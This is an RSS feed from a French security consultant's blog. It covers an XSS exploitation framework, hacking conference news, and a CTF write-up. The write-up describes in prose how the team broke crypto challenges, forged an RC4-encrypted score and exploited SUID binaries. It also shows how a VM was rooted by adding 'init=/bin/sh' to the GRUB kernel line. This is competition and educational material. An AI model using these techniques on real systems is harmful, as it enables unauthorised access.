<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segmentation fault</title>
	<atom:link href="http://www.segmentationfault.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.segmentationfault.fr</link>
	<description>Projets d’un consultant en sécurité informatique</description>
	<lastBuildDate>Sun, 21 Feb 2010 12:29:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>fr</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Conférence sur XeeK à la NDH 2010</title>
		<link>http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/</link>
		<comments>http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 12:27:00 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XeeK]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=789</guid>
		<description><![CDATA[Comme certains ont pu le voir sur Twitter ou sur le site de la NDH, j&#8217;ai repris le développement de XeeK, un projet de framework d&#8217;exploitation de faille XSS. J&#8217;ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j&#8217;ai stoppé entre temps, faute de temps (oui, je sais, c&#8217;est [...]]]></description>
			<content:encoded><![CDATA[<p>Comme certains ont pu le voir sur <a href="http://twitter.com/emiliengirault" target="_blank">Twitter</a> ou sur le site de la <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">NDH</a>, j&#8217;ai repris le développement de <a href="http://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/">XeeK</a>, un projet de framework d&#8217;exploitation de faille XSS. J&#8217;ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j&#8217;ai stoppé entre temps, faute de temps (oui, je sais, c&#8217;est mal). Mais rassurez-vous : début janvier, je me suis remis en tête de reprendre ce projet et d&#8217;en publier une version stable à la NDH 2010. En attendant la mise en place d&#8217;une page dédiée au projet, voici quelques informations sur les nouveautés à venir.</p>
<p><span id="more-789"></span></p>
<h3>XeeK is not dead</h3>
<p>Ainsi, je travaille activement sur le projet depuis plus d&#8217;un mois. J&#8217;ai profité de l&#8217;expérience de mes collègues pour faire une petit brainstorm sur l&#8217;état du projet, et ainsi obtenir de nouvelles idées. Comme certaines de ces idées remettaient en cause la structure mise en place, j&#8217;ai préféré reprendre le développement du projet from scratch.</p>
<h3>Quoi de neuf depuis 2009 ?</h3>
<p>Plusieurs personnes ont développé des outils aux fonctionnalités similaires (Beef, XSS Shell, etc). Plutôt que de réinventer la roue, j&#8217;ai préféré m&#8217;inspirer de ces outils afin d&#8217;intégrer leurs bonnes idées dans la plateforme. Voici quelques unes des nouvelles fonctionnalités prévues pour le moment : (cette liste est susceptible d&#8217;évoluer dans les mois à venir)</p>
<ul>
<li>L&#8217;architecture est désormais de type client &#8211; serveur</li>
<li>Les deux entités communiquent via une API basée sur HTTP/JSON</li>
<li>Cette architecture permettra de développer de multiples clients, un peu sur le modèle de Metasploit :
<ul>
<li>Interface console</li>
<li>Interface Web</li>
<li>Interface graphique (applicative)</li>
<li>Pourquoi pas une extension Firefox</li>
</ul>
</li>
<li>Abandon du concept de &laquo;&nbsp;scheduler&nbsp;&raquo; ; les instructions sont désormais toujours récupérées dynamiquement</li>
<li>Concept de chaine d&#8217;exploits : suite d&#8217;instructions qui s&#8217;enchaînent</li>
<li>De nouveaux exploits sont prévus
<ul>
<li>Scan de port du réseau interne</li>
<li>Récupération d&#8217;historique</li>
<li>Proxy</li>
</ul>
</li>
</ul>
<p>Au niveau technique, ce nouveau XeeK nécessitera PHP &gt;= 5.3.0 (à cause des <a href="http://php.net/manual/fr/language.oop5.late-static-bindings.php" target="_blank">Late Static Bindings</a>), MySQL ainsi que Python pour l&#8217;interface en ligne de commande.</p>
<h3>Licence</h3>
<p>Ce projet est développé principalement dans le cadre de mon temps R&amp;D chez Sysdream. Il sera diffusé en GPL suite à la conférence que je donnerai à la prochaine <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">Nuit Du Hack</a>. Un SVN ainsi qu&#8217;un wiki seront certainement mis en place pour permettre aux intéressés de récupérer les sources ainsi que la documentation.</p>
<p>En attendant le 19 juin, si vous avez des idées / suggestions, n&#8217;hésitez pas <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>George Hotz sera à la Nuit Du Hack 2010</title>
		<link>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 14:41:16 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[conférence]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=766</guid>
		<description><![CDATA[La Nuit Du Hack 2010 aura lieu le 19 et 20 juin en plein centre de Paris. Comme les autres années, cet événement convivial a pour but de regrouper tous les passionnés de hacking et sécurité informatique, d&#8217;échanger librement et de tester ses connaissances par la pratique. Mais par rapport à 2009, cette année réserve [...]]]></description>
			<content:encoded><![CDATA[<p>La Nuit Du Hack 2010 aura lieu le 19 et 20 juin en plein centre de Paris. Comme les autres années, cet événement convivial a pour but de regrouper tous les passionnés de hacking et sécurité informatique, d&#8217;échanger librement et de tester ses connaissances par la pratique. Mais par rapport à 2009, cette année réserve son lot de nouveautés&#8230; puisque <strong>George Hotz</strong> présentera une conférence sur le cracking de la PS3 !<span id="more-766"></span></p>
<h3>La PS3 retournée par George Hotz</h3>
<p>Cette année, nous invitons des &laquo;&nbsp;VIP&nbsp;&raquo; pour présenter des conférences inédites. La liste définitive n&#8217;est pas encore connue, néanmoins la présence de<strong> </strong><a href="http://fr.wikipedia.org/wiki/George_Hotz" target="_blank">George Hotz</a> a été confirmée. Aussi connu sous le pseudo <a href="http://twitter.com/geohot" target="_blank">GeoHot</a>, cet étudiant du <a href="http://www.segmentationfault.fr/semestre-etats-unis/arrivee-au-rit/" target="_blank">RIT</a> est le premier à avoir jailbreaké l&#8217;<a href="http://iphonejtag.blogspot.com/2007/08/full-hardware-unlock-of-iphone-done.html" target="_blank">iPhone</a>, et <a href="http://www.techno-science.net/?onglet=news&amp;news=7447" target="_blank">plus récemment</a> la <a href="http://geohotps3.blogspot.com/" target="_blank">PS3</a>. C&#8217;est sur le cracking cette dernière console que portera sa conférence.</p>
<h3>Call for papers</h3>
<p>Bien entendu, présenter une conférence n&#8217;est pas réservé aux VIP. Nous recherchons d&#8217;ailleurs activement des volontaires souhaitant présenter leurs travaux pour des conférences d&#8217;une trentaine de minutes. Si vous êtes intéressés, n&#8217;hésitez pas à <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_blank">soumettre</a> votre proposition au staff !</p>
<h3>Une péniche de 3 étages</h3>
<p>Comme l&#8217;année dernière, l&#8217;événement aura lieu sur une péniche. Mais cette fois-ci, nous avons pris le gabarit supérieur ! Avec ses 3 étages, la péniche <a href="http://www.nuitduhack.com/programme-fr-conferences-salon-challenge-hack.htm" target="_blank">Concorde Atlantique</a> sera en mesure d&#8217;accueillir pas moins de 400 participants.</p>
<h3>Do you speak English?</h3>
<p>Jusqu&#8217;ici restée 100% francophone, la Nuit Du Hack devient pour la première fois bilingue, et se voit traduite par &laquo;&nbsp;Night Da Hack&nbsp;&raquo; en Anglais. Le but étant bien sur de rendre l&#8217;événement accessible à nos amis anglophones venant de toute l&#8217;Europe, des États-Unis, et partout ailleurs. Certaines conférences seront données en Anglais, d&#8217;autres en Français.</p>
<h3>Ateliers</h3>
<p>A l&#8217;image de la DEF CON, nous organiserons des ateliers en parallèle des conférences et challenges. Chacun centré sur un thème particulier, leur but sera de favoriser la mise en pratique pour les participants. Nous recherchons également des volontaires pour présenter des ateliers (ex: lockpicking, manipulation d&#8217;outils tels que Metasploit, Maltego, etc), n&#8217;hésitez pas à <a href="http://www.nuitduhack.com/conferences-fr-conferences-salon-challenge-hack.htm" target="_self">vous faire connaître</a> si vous avez des idées !</p>
<h3>Capture The Flag</h3>
<p>Comme l&#8217;année dernière, le challenge sera un &laquo;&nbsp;Capture The Flag&nbsp;&raquo;. Pour les néophytes, il s&#8217;agit d&#8217;un concours par équipes de 5, dans lequel chaque équipe se voit remettre un serveur hébergeant un certain nombre de services vulnérables. Son but est de protéger son serveur en maintenant ses services disponibles, tout en attaquant les serveurs ennemis et en faisant tomber leurs services. Pour gagner des points, il faut trouver des failles ou bien patcher ses services. Chaque service qui tombe fait perdre un certain nombre de points par minute à l&#8217;adversaire. Le staff disposera en parallèle d&#8217;un serveur de monitoring pour être en mesure de comptabiliser les points en temps réel.</p>
<p>Le CTF est limité à 10 équipes de 5, alors <a href="http://www.nuitduhack.com/challenges-fr-conferences-salon-challenge-hack.htm" target="_blank">inscrivez-vous</a> vite !</p>
<h3>Challenge public</h3>
<p>Pour les gens n&#8217;ayant que peu d&#8217;expérience en pentesting, nous mettrons à disposition de tous un challenge ouvert. Il s&#8217;agira d&#8217;un serveur accessible en Wifi hébergeant des épreuves communes.</p>
<h3>Prix</h3>
<p>Les gagnants du CTF se verront remettre divers prix offerts par <a href="http://www.sysdream.com/" target="_blank">Sysdream</a> :</p>
<ul>
<li>Livres techniques sur la sécurité</li>
<li>Hardware (laptop, etc)</li>
<li>Certifications en sécurité (<a href="http://www.sysdream.com/section_124/Formation-Certified-Ethical-Hacker.html" target="_blank">CEH</a>, <a href="http://www.sysdream.com/section_125/Formation-EC-Council-Certified-Security-Analyst.html" target="_blank">ECSA/LPT</a>, <a href="http://www.sysdream.com/section_142/Certification-Management-Certified-Information-Systems-Security-Professional.html" target="_blank">CISSP</a>, etc.) reconnues mondialement</li>
</ul>
<h3>Pour plus d&#8217;infos</h3>
<p>Pour vous inscrire ou pour toute information complémentaire, n&#8217;hésitez pas à consulter le <a href="http://www.nuitduhack.com/accueil-fr-nuit-du-hack-2010.htm" target="_blank">site de la Nuit Du Hack</a> ! Vous y trouverez notamment des photos et vidéos des <a href="http://www.nuitduhack.com/archives-fr-archives-nuit-du-hack.htm" target="_blank">années passées</a>. J&#8217;ai également posté <a href="http://www.segmentationfault.fr/categories/evenement/nuit-du-hack/">quelques articles</a> au sujet des dernières éditions sur ce blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Insomni&#8217;hack 2010 : HZV won</title>
		<link>http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 20:42:26 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=752</guid>
		<description><![CDATA[Ce week-end, c&#8217;est avec trois membres de HZV (Crashfr, Virtualabs, et Fluxius) que je me suis rendu à Insomni&#8217;hack, un challenge de hacking se déroulant à Genève. Le challenge était au départ individuel, mais nombreux étaient ceux qui, comme nous, s&#8217;entre-aidaient. Le but était simple : valider un maximum d&#8217;épreuves avant 1h du matin. Au [...]]]></description>
			<content:encoded><![CDATA[<p>Ce week-end, c&#8217;est avec trois membres de <a href="http://www.thehackademy.net/index.php" target="_blank">HZV</a> (Crashfr, Virtualabs, et Fluxius) que je me suis rendu à <a href="http://www.scrt.ch/pages/concours10.html" target="_blank">Insomni&#8217;hack</a>, un challenge de hacking se déroulant à Genève. Le challenge était au départ individuel, mais nombreux étaient ceux qui, comme nous, s&#8217;entre-aidaient. Le but était simple : valider un maximum d&#8217;épreuves avant 1h du matin. Au final, c&#8217;est notre équipe qui a remporté le challenge. Voici un petit résumé de quelques épreuves intéressantes dont je me rappelle.</p>
<p><span id="more-752"></span></p>
<p>Le challenge était composé de 9 séries d&#8217;épreuves, chacune étant d&#8217;un type différent. Décidés à en valider un maximum, nous nous sommes répartis le travail entre tous les membres de l&#8217;équipe, en centralisant les solutions. Et c&#8217;est moi qui me suis retrouvé désigné comme étant la personne en charge de tout valider <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Enfin, deux difficultés notables étaient à souligner : les prises électriques étaient suisses (merci à la personne nous ayant prêté un adaptateur)  et aucune connexion internet n&#8217;était fournie.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="L'équipe HZV" src="http://lh3.ggpht.com/_Rzr3MErwyvk/S138HX8cIbI/AAAAAAAAEzQ/rn8klY2SN4M/s640/024.JPG" alt="L'équipe HZV" width="448" height="336" /><p class="wp-caption-text">L&#39;équipe HZV</p></div>
<p style="text-align: center;">
<h3>One Time Pad</h3>
<p>J&#8217;ai commencé par la première épreuve de la série intitulée &laquo;&nbsp;One Time Pad&nbsp;&raquo;, portant sur la crypto. Il s&#8217;agissait de décrypter un fichier chiffré avec l&#8217;algorithme <a href="http://fr.wikipedia.org/wiki/One_Time_Pad" target="_blank">One Time Pad</a>, sachant que l&#8217;on nous donnait un couple plaintext &#8211; ciphertext chiffré avec la même clé&#8230; Un simple XOR entre les deux permettait donc de révéler cette dernière, et donc de déchiffrer le message.</p>
<h3>RSA</h3>
<p>Après cet échauffement, on enchaîne avec du RSA. La deuxième épreuve OTP consiste à casser un message chiffré avec une implémentation de RSA vraisemblablement pas terrible niveau sécurité. Le message en question était composé d&#8217;un header qui n&#8217;était autre que la concaténation de l&#8217;exposant public (e) et du module (N) utilisé pour chiffrer le message, le tout encodé en base 64. Étant donné que N avait une taille ridiculement faible (une trentaine de bits), il était très facile de le factoriser. Personnellement, je me suis servi de l&#8217;outil RSA Tool 2, permettant non seulement de factoriser N mais aussi de retrouver l&#8217;exposant privé (d). Une fois d obtenu, il suffisait d&#8217;utiliser l&#8217;outil fourni pour déchiffrer le message.</p>
<h3>Follow the white rabbit</h3>
<p>La 3ème épreuve de la série consistait à lire un message dans une image représentant un lapin, elle faisait donc appel à de la stéganographie. Notre intuition nous disait qu&#8217;il y avait du <a href="http://fr.wikipedia.org/wiki/Bit_de_poids_faible" target="_blank">LSB</a> dans l&#8217;air, mais nous n&#8217;avons pas eu le temps de coder un outil sur place (nous avions la flemme de lire les specs du BMP). Plusieurs membres de notre équipe ont fait une fixation sur ce lapin, espérant y voir un &laquo;&nbsp;message subliminal&nbsp;&raquo; (private joke)&#8230; Suite à  la fin de ce billet.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="F|UxIuS, dont le pseudo a donné mal à la tête au staff" src="http://lh6.ggpht.com/_Rzr3MErwyvk/S138F8iZ1kI/AAAAAAAAEzI/R2N0hGpDxqE/s640/011.JPG" alt="F|UxIuS, dont le pseudo a donné mal à la tête au staff" width="448" height="336" /><p class="wp-caption-text">F|UxIuS, dont le pseudo a donné mal à la tête au staff</p></div>
<h3>Shoot the caribou</h3>
<p>Dans cette épreuve flash faisant partie de la série &laquo;&nbsp;les soirées de Kévin&nbsp;&raquo;, il fallait tirer sur un caribou pour obtenir un score le plus élevé possible. Ce score était alors envoyé au serveur, qui affichait le code de validation si le score était suffisamment élevé. Sauf qu&#8217;il était physiquement impossible d&#8217;atteindre un tel score, à moins d&#8217;être un maniaque de la souris&#8230;</p>
<p>Virtualabs et Fluxius se sont alors mis à décompiler le flash, et on trouvé que le score était d&#8217;abord chiffré en RC4 puis envoyé au serveur. Bien entendu, la clé RC4 étaient hardcodée dans le flash. Apres extraction de la clé, il leur a donc été possible de forger un score de plusieurs millions de points, de le chiffrer correctement et de l&#8217;envoyer au serveur pour que celui-ci accepte de révéler le code de validation.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="La team soutenue par son sponsor..." src="http://lh3.ggpht.com/_Rzr3MErwyvk/S138GrEDm0I/AAAAAAAAEzM/doNjRmRORRA/s640/012.JPG" alt="La team soutenue par son sponsor..." width="448" height="336" /><p class="wp-caption-text">La team soutenue par son sponsor...</p></div>
<p style="text-align: center;">
<h3>300 captchas</h3>
<p>Épreuve &laquo;&nbsp;kikoo&nbsp;&raquo; n°2. Il fallait résoudre 300 <a href="http://fr.wikipedia.org/wiki/Captcha" target="_blank">captchas</a> sur une page Web dans un laps de temps très bref. Même si dans l&#8217;absolu c&#8217;est théoriquement envisageable, cela reste quand même assez incertain. Il fallait donc remarquer que l&#8217;URL de validation du captcha contenait en réalité le texte de celui-ci encodé en base64&#8230; Il a donc été assez facile de coder un bot en Python récupérant les pages et effectuant la chaîne de validation pour valider l&#8217;épreuve.</p>
<h3>Failles applicatives</h3>
<p>La série d&#8217;épreuve nommée  &laquo;&nbsp;Exploitation&nbsp;&raquo; consistait à télécharger une VM Linux et à exploiter les différentes failles qui s&#8217;y trouvaient. Il s&#8217;agissait d&#8217;une série de binaires SUID comportant différentes failles applicatives. La première n&#8217;était autre qu&#8217;un <a href="http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html" target="_blank">buffer overflow</a>. Le temps de sortir Python, un shellcode Linux, ainsi que GDB, et l&#8217;épreuve a été validée sans trop de soucis.  La deuxième faille de la série était une format string, un peu plus galère à exploiter. Enfin la dernière était une faille maison qui s&#8217;exploitait en forgeant le paramètre d&#8217;entrée de telle sorte à ce qu&#8217;il soit accepté et que le programme finisse par lire le fichier contenant le code de validation.</p>
<h3>Grub FAIL!</h3>
<p>Pour exploiter ces 3 failles applicatives, il fallait donc être quand même motivé&#8230; Mais il y avait moyen de faire plus simple. Beaucoup plus simple. En effet, les membres du staff avaient oublié un détail crucial : sécuriser le Grub de la VM&#8230; Il était par conséquent possible de rooter la VM juste en ajoutant la chaîne ultra-connue &laquo;&nbsp;init=/bin/sh&nbsp;&raquo; comme paramètre du noyau pour se retrouver automatiquement logué en root. Et paf le shell !</p>
<div id="attachment_755" class="wp-caption aligncenter" style="width: 360px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/01/exploit_grub.png"><img class="size-full wp-image-755" title="Owned by Grub" src="http://www.segmentationfault.fr/wp-content/uploads/2010/01/exploit_grub.png" alt="Owned by Grub" width="350" height="79" /></a><p class="wp-caption-text">Owned by Grub</p></div>
<p>Voila ce qui arrive lorsqu&#8217;on oublie ce genre de détail <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Le staff a d&#8217;ailleurs fait une drôle de tête quand nous les avons informé de ce léger oubli. Enfin, ils auraient pu jouer le jeu et accorder un bonus supplémentaire&#8230;</p>
<h3>Remise des prix</h3>
<p>A 1h du mat, le challenge se termine et le vainqueur est annoncé. Même s&#8217;il s&#8217;agit de moi, je tiens vraiment à rappeler que le véritable vainqueur du challenge n&#8217;est pas moi, mais bien l&#8217;ensemble de la team qui représentait HZV ! Le 2ème est Samsa (un Espagnol fort sympathique), suivi de Nagual (de Backtrack-fr) et de l&#8217;équipe de Maubeuge (merci à Shatter pour le screenshot des scores !).</p>
<p style="text-align: center;">
<div id="attachment_756" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/01/insomnihack_results.png"><img class="size-large wp-image-756 " title="Résultats Insomni'hack 2010" src="http://www.segmentationfault.fr/wp-content/uploads/2010/01/insomnihack_results-1024x663.png" alt="Résultats Insomni'hack 2010" width="500" height="356" /></a><p class="wp-caption-text">Résultats Insomni&#39;hack 2010</p></div>
<p>Nous recevons alors une panoplie de t-shirts Kaspersky et Insomni&#8217;hack, ainsi qu&#8217;un sympathique routeur firewall Fortinet. Bref, de quoi s&#8217;amuser un peu à Sysdream <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Nous terminons la soirée tranquillement à notre hôtel, accompagné comme il se doit d&#8217;une bouteille de Vodka, de chips et de saucisson. Bah oui, il faut bien fêter tout ça !</p>
<h3>Annexe : Le poutrage du lapin masqué</h3>
<p>Le lendemain du challenge, après avoir été hanté toute la nuit par l&#8217;image du lapin (One Time Pad n°3) resté incomprise, je me suis mis en tête de trouver la solution à cette épreuve. Avec GIMP, je me suis aperçu que l&#8217;outil pot de peinture appliqué (réglé avec un seuil nul) sur des zones aléatoires de l&#8217;image faisait apparaître clairement des bandes verticales, qui en plus étaient toutes espacées de 7 pixels. Autrement dit, ces bandes avaient beaucoup de chance de représenter les pixels dont le bit de poids fort était à zéro, comme c&#8217;est toujours le cas en ASCII (non étendu). Le LSB se confirmait de plus en plus&#8230; Ayant Python sous la main, j&#8217;ai codé un petit tool permettant de parser l&#8217;image, extraire tous ses bits de poid faible, et ainsi reconstituer le message. A un décalage près, voici le résultat :</p>
<pre>W3LCOME_2_H4CK3R'S_WOND3RL4ND</pre>
<p>On notera la référence au lapin blanc d&#8217;Alice au Pays des Merveilles&#8230; Maintenant, Crashfr et Fluxius peuvent dormir tranquille sans être hantés <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Seul regret : ne pas avoir eu le temps de valider cette épreuve sur place&#8230;</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="Les geeks aussi ont le droit de faire du tourisme" src="http://lh3.ggpht.com/_Rzr3MErwyvk/S1y52M-edBI/AAAAAAAAExk/Gq6MhBbSymo/s640/IMG_7072.JPG" alt="Les geeks aussi ont le droit de faire du tourisme" width="448" height="336" /><p class="wp-caption-text">Les geeks aussi ont le droit de faire du tourisme</p></div>
<h3>Conclusion et remarques</h3>
<p>Au final, toute l&#8217;équipe ainsi que moi-même avons passé un très bon moment lors de cette soirée, riche en ambiance chaleureuse, rencontre, boissons (enfin, nous étions la seule équipe à boire), et prise de tête sur les différents challenges <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . C&#8217;était la première fois que je me rendais à un événement de ce genre à l&#8217;étranger.</p>
<p>J&#8217;aurais toutefois quelques remarques / critiques concernant l&#8217;événement :</p>
<ul>
<li>Nous avons trouvé assez peu réglo le fait que certaines équipes disposaient d&#8217;Internet via une connexion 3G, car cela avantage considérablement.</li>
<li>Nous regrettons le manque de réalisme des épreuves, un peu trop axées sur la kikoolol attitude et pas assez sur ce qui se trouve réellement en pentest.</li>
<li>Dommage que l&#8217;événement se termine si tôt (1h du mat), surtout avec un nom comme &laquo;&nbsp;Insomni&#8217;hack&nbsp;&raquo;&#8230;</li>
</ul>
<p>J&#8217;espère que le staff, s&#8217;il lit ce billet, ne les prendra pas mal ; il s&#8217;agit au contraire de conseils pour l&#8217;année prochaine.</p>
<p>En tout cas, félicitations à eux pour avoir organisé cet événement ! Nous espérons les voir le 19 juin à la <a href="http://www.nuitduhack.com/accueil-fr-ndh.htm" target="_blank">Nuit du Hack</a> <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://www.slashon.com/index.php/2010-01-25/InsomniHack_2010_HzV_Winners" target="_blank">Plus de photos sur le blog de Fluxius</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Bypassing SEHOP on Windows 7</title>
		<link>http://www.segmentationfault.fr/securite-informatique/bypassing-sehop-on-windows-7/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/bypassing-sehop-on-windows-7/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 12:59:28 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[seven]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=740</guid>
		<description><![CDATA[La protection SEHOP introduite dans Windows Vista et 2008 permet de protéger les applications contre les exploitations de buffer-overflows classiques. Celles-ci consistent en général à écraser non seulement une adresse de retour, mais aussi la structure SEH gérant les exceptions provoquées par l&#8217;application, dans le but de rediriger le flux d&#8217;exécution vers un shellcode. La [...]]]></description>
			<content:encoded><![CDATA[<p>La protection SEHOP <a href="http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx">introduite</a> dans Windows Vista et 2008 permet de protéger les applications contre les exploitations de buffer-overflows classiques. Celles-ci consistent en général à écraser non seulement une adresse de retour, mais aussi la structure SEH gérant les exceptions provoquées par l&#8217;application, dans le but de rediriger le flux d&#8217;exécution vers un shellcode. La protection SEHOP empêche ce type d&#8217;exploitation en parcourant au préalable la chaîne des structures SEH et en s&#8217;assurant qu&#8217;elle soit valide. Jusqu&#8217;à maintenant, elle était considérée par beaucoup comme inviolable. Microsoft ont d&#8217;ailleurs décidé de l&#8217;activer par défaut dans Windows 2008, ainsi que dans Windows Vista et 7 sous forme de fix.<span id="more-740"></span></p>
<p>Or, deux collègues de <a href="http://www.sysdream.com/">Sysdream</a>, Stéfan Leberre (<a href="http://www.ghostsinthestack.org">Heurs</a>) et Damien Cauquil (<a href="http://www.virtualabs.fr">Virtualabs</a>), viennent de trouver une méthode permettant de la contourner sous certaines conditions. Leur article ainsi que leur Proof Of Concept est disponible sur le site de Sysdream :</p>
<ul>
<li><a href="http://www.sysdream.com/articles/sehop_en.pdf">L&#8217;article Bypassing SEHOP</a></li>
<li><a href="http://www.sysdream.com/SEHOP.zip">Proof Of Concept fonctionnant sous Windows 7</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/bypassing-sehop-on-windows-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>emiliengirault.fr devient segmentationfault.fr</title>
		<link>http://www.segmentationfault.fr/blog/emiliengirault-fr-devient-segmentationfault-fr/</link>
		<comments>http://www.segmentationfault.fr/blog/emiliengirault-fr-devient-segmentationfault-fr/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 22:29:59 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=736</guid>
		<description><![CDATA[Comme vous l&#8217;avez sûrement constaté, l&#8217;adresse de ce blog est désormais www.segmentationfault.fr. La principale raison étant que je trouve que le nouveau titre sonne mieux que l&#8217;ancien  . L&#8217;ancienne adresse reste valide, mais pensez à mettre à jour vos RSS au cas où.
]]></description>
			<content:encoded><![CDATA[<p>Comme vous l&#8217;avez sûrement constaté, l&#8217;adresse de ce blog est désormais <a href="http://www.segmentationfault.fr">www.segmentationfault.fr</a>. La principale raison étant que je trouve que le nouveau titre sonne mieux que l&#8217;ancien <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . L&#8217;ancienne adresse reste valide, mais pensez à mettre à jour vos RSS au cas où.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/blog/emiliengirault-fr-devient-segmentationfault-fr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Exploitation de faille include avec les sessions PHP</title>
		<link>http://www.segmentationfault.fr/securite-informatique/exploitation-de-faille-include-avec-les-sessions-php/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/exploitation-de-faille-include-avec-les-sessions-php/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 19:05:43 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=713</guid>
		<description><![CDATA[Il y a quelques jours, je suis tombé sur un challenge de hack PHP. J&#8217;arrive sur une page avec une URL du type www.site.com/index.php?page=main.php,  qui ressemble étrangement à la célèbre faille include. En effet, quelques tests le démontrent. Autre part sur le site, on trouve une page protégée par un .htaccess. Pour le bypasser, on [...]]]></description>
